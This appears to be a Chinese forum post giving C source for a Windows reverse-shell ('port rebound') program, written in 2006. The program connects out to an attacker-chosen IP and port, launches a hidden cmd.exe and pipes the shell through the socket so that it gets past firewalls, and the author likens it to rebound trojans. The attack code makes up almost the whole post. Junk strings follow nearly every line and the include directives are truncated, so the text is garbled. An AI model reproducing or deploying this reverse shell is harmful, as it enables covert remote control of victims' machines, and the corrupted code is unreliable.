Windows下端口反弹

这是一个Windows下的小程序，可以穿透防火墙反弹连接，当然这是最简单的！看到网络上反弹木马到处都是，心一热就有了这个了（代码很垃圾的）。 j-\u_#kx%  
4B>|Wft{p]  
/* ============================== }+Z;zm@/6  
Rebound port in Windows NT ttt&sW`  
By wind,2006/7 +/8?+1E ^  
===============================*/ O3GaxM\x  
#include td$Jx}'A  
#include #Ih(2T i  

}eK*
)  
#pragma comment(lib,"wsock32.lib") \zDV|n~{w  
ZI]K+jza  
void OutputShell(); pMrfi}esx  
SOCKET sClient; ~u1JR`y  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; $\H46Ji  
I#e*,#'S  
void main(int argc,char **argv) QNBzc {XB  
{ %?wE/LU>  
WSADATA stWsaData; 1#RA+d(  
int nRet; YH$`r6\S  
SOCKADDR_IN stSaiClient,stSaiServer; Ki\jiflc7  
(~o+pp!  
if(argc != 3) 'm((G4  
{ *Y?]="8c#;  
printf("Useage:\n\rRebound DestIP DestPort\n"); f 8U;T$)  
return; j0M;2 3@[  
} YR#1[fe*_  
0M.[) @  
WSAStartup(MAKEWORD(2,2),&stWsaData); ZS;kCdL  
ZXkAw sr  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); 7:<>#  

^el:)$  
stSaiClient.sin_family = AF_INET; Pk2"\y@q/  
stSaiClient.sin_port = htons(0); Z)4P>{  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); NE nP3A  
x&p=vUuukP  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 2AE|N_v8W  
{ }k~0R-m  
printf("Bind Socket Failed!\n"); ,PAKPX9v_F  
return; G_o4A:2  
} `;hBO#(H0}  
Xb;`WE gC  
stSaiServer.sin_family = AF_INET; 6P$q7G  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); 7%WI  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); .!! yj,bQz  
)A"7l7?.n)  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) :W55JD'  
{ BJTljg({o  
printf("Connect Error!"); XoOe=V?I )  
return; c Ix(;[U  
} fW`F^G1R  
OutputShell(); BC+qeocg  
} ~A( Pa-  
^a r9$$~/!  
void OutputShell() >n62csO  
{
==9Ez
  
char szBuff[1024]; l0V@19Ec  
SECURITY_ATTRIBUTES stSecurityAttributes; N*;/~bt7P  
OSVERSIONINFO stOsversionInfo; H(|v  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; #{a<{HX  
STARTUPINFO stStartupInfo; (C|%@61S  
char *szShell; zyE yZc?  
PROCESS_INFORMATION stProcessInformation; v%w]Q B  
unsigned long lBytesRead; fk_i~K  
.l!Z=n|  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); ^ TS\x/P  
MvA_tRO  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); ~Fh(4'  
stSecurityAttributes.lpSecurityDescriptor = 0; yDrJn* r^  
stSecurityAttributes.bInheritHandle = TRUE; 2 r)c?  
3]Mx,u  
zjS<e XLs[  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); EWi@1PAZK  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); Odu
Tg^R  
jTJ[2WaS  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); :4dili4|/  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; Z9y:}:j"  
stStartupInfo.wShowWindow = SW_HIDE; {zcjTJ=Zt8  
stStartupInfo.hStdInput = hReadPipe; .j },  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; hB4.tMgZ  
bBf+z7iyc  
GetVersionEx(&stOsversionInfo); |m%&Qb  
g}7B0 yo  
switch(stOsversionInfo.dwPlatformId) 0%GWc}o  
{ uB?YJf .T@  
case 1: TnrMR1Zx  
szShell = "command.com"; JP]K\nQx'  
break; H+Wd#7l,  
default: .0 K8h:I  
szShell = "cmd.exe"; 0 N(2[s_A  
break; -$rfu  
} {_JLmyaerZ  
f\JyN@w+  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation); 9cQSS'`F  
{rDZKy^f  
send(sClient,szMsg,77,0); uo^>95lkv  
while(1) )_ y{^kn3^  
{ Vl%
k:  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); aap:~F{]X  
if(lBytesRead) i8]r}a  
{ !WmpnPr1  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); 9z?F_=PB!  
send(sClient,szBuff,lBytesRead,0); pJIH_H  
} RDbA"e5x  
else ^/,s$dj  
{ Us<lWEX;k  
lBytesRead=recv(sClient,szBuff,1024,0); XN Y(@  
if(lBytesRead<=0) break; *HVO  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); {+ m)*3~w  
} h0`)=  
} "T'!cy  

x+&&[>-P  
return; Jg:'gF]jt  
}